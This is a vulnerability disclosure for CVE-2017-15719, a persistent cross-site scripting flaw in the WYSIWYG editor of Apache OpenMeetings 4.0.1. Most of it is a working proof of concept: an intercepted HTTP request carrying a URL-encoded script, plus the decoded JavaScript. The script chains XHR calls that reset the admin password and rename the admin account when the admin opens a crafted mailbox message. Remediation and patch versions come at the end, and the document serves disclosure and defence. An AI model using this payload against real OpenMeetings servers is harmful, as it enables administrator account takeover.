CVE-2017-15719 Wicket jQuery UI XSS in WYSIWYG editor
17 Mar 2018It was identified that one of the components of Apache OpenMeetings v 4.0.1 is vulnerable to Persistent Cross Site Scripting vulnerability. An attacker can exploit these vulnerabilities to hijack admin user’s browser along with the data stored in it.
Affected Component: wicket-jquery-ui
Affected Versions: <= 6.28.0, <= 7.9.1, <= 8.0.0-M8
Test Configuration:
Following is needed in order to reproduce this issue:
- Access to two valid user accounts. (
admin
anduser1
in this example) - A web browser. (Mozilla Firefox in this example)
- An HTTP intercepting proxy (Burp Suite Professional in this example)
Proof of Concept:
-
Login to
user1
account and navigate to mailbox by clicking onContacts and messages
button as shown. -
Create a new email to
admin
user with following contents and click on send. -
Intercept the request and replace the
message:textarea
parameter value as shown and forward the request.POST /openmeetings/?1-1.0-main~container-main-newMessageDialog HTTP/1.1 Host: localhost:5080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: application/xml, text/xml, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Wicket-Ajax: true Wicket-Ajax-BaseURL: . Wicket-FocusedElementId: btnad X-Requested-With: XMLHttpRequest Referer: http://localhost:5080/openmeetings/ Content-Length: 5854 Cookie: wicketDebugBarState=collapsed; JSESSIONID=EBF252840768E072D61FB49991CEC0B6 Connection: close to=1&subject=Hello&message%3Atextarea=`This%20mail%20was%20sent%20accidently%20to%20you%2C%20please%20ignore%20this.%0A%3Cscript%3E%0A%20%20%20%20%20%20function%20x%28%29%0A%20%20%20%20%20%20%7B%0A%09%09var%20u%3B%0A%09%09var%20uid%3B%0A%09%09var%20data%20%3D%20%22%22%3B%0A%09%09%09for%20%28var%20i%3D0%3B%20i%20%3C%20document.scripts.length%3B%20i%20%2b%2b%29%7B%0A%09%09%09%09data%20%2b%3D%20document.scripts%5Bi%5D.text%3B%0A%09%09%09%7D%0A%09%09%09var%20m%20%3D%20data.match%28%2f%5E.%2a%3F%5C%28%5C%7B%5C%22u%5C%22%5C%3A%5C%22%5C.%5C%2f%28.%2a%3F%29%5C%22%5C%7D%5C%29%5C%3B%5C%3B%24%2fim%29%3B%0A%09%09%09u%20%3D%20m%5B1%5D%3B%0A%09%09%09%0A%09%09%09for%20%28var%20i%3D0%3Bi%20%3C%20document.getElementsByClassName%28%22sub%20ui-menu-item%22%29.length%3Bi%2b%2b%29%7B%0A%09%09%09%09if%20%28document.getElementsByClassName%28%22sub%20ui-menu-item%22%29%5Bi%5D.title%20%3D%3D%20%22Manage%20users%20and%20rights%22%29%7B%0A%09%09%09%09%09uid%20%3D%20document.getElementsByClassName%28%22sub%20ui-menu-item%22%29%5Bi%5D.id%3B%0A%09%09%09%09%09break%3B%0A%09%09%09%09%7D%0A%09%09%09%7D%0A%09%09%09y1%28u%2Cuid%29%3B%0A%09%09%7D%0A%09%09%0A%09function%20y1%28u%2Cuid%29%7B%0A%09%09var%20ul%20%3D%20%22http%3A%2f%2flocalhost%3A5080%2fopenmeetings%2f%22%2bu%2b%22main%7Econtainer-main-topControls-menu-menu%26hash%3D%22%2buid%2b%22%26_%3D%22%3B%0A%09%09var%20b%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09%09b.open%28%22GET%22%2Cul%2Ctrue%29%3B%0A%09%09b.setRequestHeader%28%22Accept%22%2C%20%22application%5C%2fxml%2C%20text%5C%2fxml%2C%20%2a%5C%2f%2a%3B%20q%3D0.01%22%29%3B%0A%20%20%20%20%20%20%20%20b.setRequestHeader%28%22Accept-Language%22%2C%20%22en-US%2Cen%3Bq%3D0.5%22%29%3B%0A%20%20%20%20%20%20%20%20b.setRequestHeader%28%22Wicket-Ajax%22%2C%22true%22%29%3B%0A%09%09b.setRequestHeader%28%22Wicket-Ajax-BaseURL%22%2C%22.%22%29%3B%0A%09%09b.setRequestHeader%28%22X-Requested-With%22%2C%22XMLHttpRequest%22%29%3B%0A%09%09b.responseType%20%3D%20%22document%22%3B%0A%09%09b.overrideMimeType%28%27text%2fxml%27%29%3B%0A%09%09b.onload%20%3D%20function%28%29%7B%0A%09%09%09y2%28u%29%3B%0A%09%09%7D%0A%09%09b.send%28%29%3B%09%0A%09%7D%0A%09%0A%09function%20y2%28u%29%7B%0A%09%09var%20ul%20%3D%20%22http%3A%5C%2f%5C%2flocalhost%3A5080%5C%2fopenmeetings%5C%2f%22%2bu%2b%22main%7Econtainer-main-contents-child-listContainer-userList-1%26_%3D1513604035452%22%3B%0A%09%09var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%09%09xhr.open%28%22GET%22%2Cul%2Ctrue%29%3B%0A%09%09xhr.setRequestHeader%28%22Accept%22%2C%20%22application%5C%2fxml%2C%20text%5C%2fxml%2C%20%2a%5C%2f%2a%3B%20q%3D0.01%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Accept-Language%22%2C%20%22en-US%2Cen%3Bq%3D0.5%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Wicket-Ajax%22%2C%22true%22%29%3B%0A%09%09xhr.setRequestHeader%28%22Wicket-Ajax-BaseURL%22%2C%22.%22%29%3B%0A%09%09xhr.setRequestHeader%28%22X-Requested-With%22%2C%22XMLHttpRequest%22%29%3B%0A%09%09xhr.overrideMimeType%28%27text%2fxml%27%29%3B%0A%09%09xhr.onload%20%3D%20function%28%29%20%7B%0A%09%09%09var%20t%20%3D%20this.responseXML.documentElement.getElementsByTagName%28%27component%27%29%5B0%5D.textContent%3B%0A%09%09%09var%20d%20%3D%20new%20DOMParser%28%29.parseFromString%28t%2C%22text%2fxml%22%29%3B%0A%09%09%09var%20r%20%3D%20d.getElementsByName%28%27comunity%3Acommunity_settings%27%29%5B1%5D.getAttribute%28%27value%27%29%3B%0A%09%09%09z%28u%2Cr%29%3B%0A%09%09%7D%0A%09%09xhr.responseType%20%3D%20%22document%22%3B%0A%09%09xhr.send%28%29%3B%0A%09%7D%0A%09%0A%09function%20z%28u%2Cr%29%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%20%20%20%20%20%20%20%20xhr.open%28%22POST%22%2C%20%22http%3A%5C%2f%5C%2flocalhost%3A5080%5C%2fopenmeetings%5C%2f%22%2bu%2b%22main%7Econtainer-main-contents-child-form-buttons-ajax%7Esave%7Ebutton%22%2C%20true%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Accept%22%2C%20%22application%5C%2fxml%2C%20text%5C%2fxml%2C%20%2a%5C%2f%2a%3B%20q%3D0.01%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Accept-Language%22%2C%20%22en-US%2Cen%3Bq%3D0.5%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Content-Type%22%2C%20%22application%5C%2fx-www-form-urlencoded%3B%20charset%3DUTF-8%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.setRequestHeader%28%22Wicket-Ajax%22%2C%22true%22%29%3B%0A%09%09xhr.setRequestHeader%28%22Wicket-Ajax-BaseURL%22%2C%22.%22%29%3B%0A%09%09xhr.setRequestHeader%28%22X-Requested-With%22%2C%22XMLHttpRequest%22%29%3B%0A%20%20%20%20%20%20%20%20xhr.withCredentials%20%3D%20true%3B%0A%20%20%20%20%20%20%20%20var%20body%20%3D%20%22login%3Dadmin%26password%3DPass@123%26general%253Aaddress.email%3Dadmin%2540localhost.com%26general%253Asalutation%3Dmr%26general%253Afirstname%3Dadminhijacked%26general%253Alastname%3Dadminhijacked%26general%253AtimeZoneId%3D281%26general%253AlanguageId%3D1%26general%253Aaddress.phone%3D%26general%253Aage%3D27%252F11%252F17%26general%253Aaddress.street%3D%26general%253Aaddress.additionalname%3D%26general%253Aaddress.zip%3D%26general%253Aaddress.town%3D%26general%253Aaddress.country%3DIN%26general%253Aaddress.comment%3D%26general%253AgroupUsers%3D1%26type%3D0%26rights%3DRoom%26rights%3DSoap%26rights%3DDashboard%26rights%3DAdmin%26rights%3DLogin%26comunity%253Acommunity_settings%3D%22%2br%2b%22%26comunity%253AuserOffers%3D%26comunity%253AuserSearchs%3D%26buttons%253Aajax-save-button%3D1%22%3B%0A%20%20%20%20%20%20%20%20var%20aBody%20%3D%20new%20Uint8Array%28body.length%29%3B%0A%20%20%20%20%20%20%20%20for%20%28var%20i%20%3D%200%3B%20i%20%3C%20aBody.length%3B%20i%2b%2b%29%0A%20%20%20%20%20%20%20%20%20%20aBody%5Bi%5D%20%3D%20body.charCodeAt%28i%29%3B%20%0A%20%20%20%20%20%20%20%20xhr.send%28new%20Blob%28%5BaBody%5D%29%29%3B%0A%20%20%20%20%20%20%7D%09%09%0A%20%20%20%20%20%20x%28%29%3B%0A%3C%2fscript%3E`
-
URL encoded payload shown in above request when executed will send a sequence of requests to change
admin
user’sfirstname
,lastname
andpassword
.Note: For working of the exploit code shown below, hostname needs to updated accordingly.
// Fetch user uid values from current DOM
<script>
function x()
{
var u;
var uid;
var data = "";
for (var i=0; i < document.scripts.length; i ++){
data += document.scripts[i].text;
}
var m = data.match(/^.*?\(\{\"u\"\:\"\.\/(.*?)\"\}\)\;\;$/im);
u = m[1];
for (var i=0;i < document.getElementsByClassName("sub ui-menu-item").length;i++){
if (document.getElementsByClassName("sub ui-menu-item")[i].title == "Manage users and rights"){
uid = document.getElementsByClassName("sub ui-menu-item")[i].id;
break;
}
}
y1(u,uid);
}
// mandatory request to fulfill entire requests chain
function y1(u,uid){
var ul = "http://localhost:5080/openmeetings/"+u+"main~container-main-topControls-menu-menu&hash="+uid+"&_=";
var b = new XMLHttpRequest();
b.open("GET",ul,true);
b.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");
b.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
b.setRequestHeader("Wicket-Ajax","true");
b.setRequestHeader("Wicket-Ajax-BaseURL",".");
b.setRequestHeader("X-Requested-With","XMLHttpRequest");
b.responseType = "document";
b.overrideMimeType('text/xml');
b.onload = function(){
y2(u);
}
b.send();
}
// Get community_settings value
function y2(u){
var ul = "http:\/\/localhost:5080\/openmeetings\/"+u+"main~container-main-contents-child-listContainer-userList-1&_=1513604035452";
var xhr = new XMLHttpRequest();
xhr.open("GET",ul,true);
xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Wicket-Ajax","true");
xhr.setRequestHeader("Wicket-Ajax-BaseURL",".");
xhr.setRequestHeader("X-Requested-With","XMLHttpRequest");
xhr.overrideMimeType('text/xml');
xhr.onload = function() {
var t = this.responseXML.documentElement.getElementsByTagName('component')[0].textContent;
var d = new DOMParser().parseFromString(t,"text/xml");
var r = d.getElementsByName('comunity:community_settings')[1].getAttribute('value');
z(u,r);
}
xhr.responseType = "document";
xhr.send();
}
// Final password change request
function z(u,r)
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/localhost:5080\/openmeetings\/"+u+"main~container-main-contents-child-form-buttons-ajax~save~button", true);
xhr.setRequestHeader("Accept", "application\/xml, text\/xml, *\/*; q=0.01");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded; charset=UTF-8");
xhr.setRequestHeader("Wicket-Ajax","true");
xhr.setRequestHeader("Wicket-Ajax-BaseURL",".");
xhr.setRequestHeader("X-Requested-With","XMLHttpRequest");
xhr.withCredentials = true;
var body = "login=admin&password=Pass@123&general%3Aaddress.email=admin%40localhost.com&general%3Asalutation=mr&general%3Afirstname=adminhijacked&general%3Alastname=adminhijacked&general%3AtimeZoneId=281&general%3AlanguageId=1&general%3Aaddress.phone=&general%3Aage=27%2F11%2F17&general%3Aaddress.street=&general%3Aaddress.additionalname=&general%3Aaddress.zip=&general%3Aaddress.town=&general%3Aaddress.country=IN&general%3Aaddress.comment=&general%3AgroupUsers=1&type=0&rights=Room&rights=Soap&rights=Dashboard&rights=Admin&rights=Login&comunity%3Acommunity_settings="+r+"&comunity%3AuserOffers=&comunity%3AuserSearchs=&buttons%3Aajax-save-button=1";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
x();
</script>
-
Login to
admin
user account in a private browser window and navigate to mailbox by followingstep1
. -
Open the email sent by
user1
and observe that the application sends a sequence of XHR requests while executing our XSS payload.
-
Navigate to
Profile
settings ofadmin
user and observe that first and last name has changed successfully as defined in the exploit code shown inStep 4
. -
We can now login to admin account with password
Pass@123
as defined in exploit.
Remediation:
It is recommended to validate user input and implement Context Specific Filtering in application response.
Vendor Patches:
This issue was fixed in wicket-jquery-ui versions 6.28.1, 7.9.2 and 8.0.0-M8.1. All Users are recommended to upgrade to Apache OpenMeetings 4.0.2.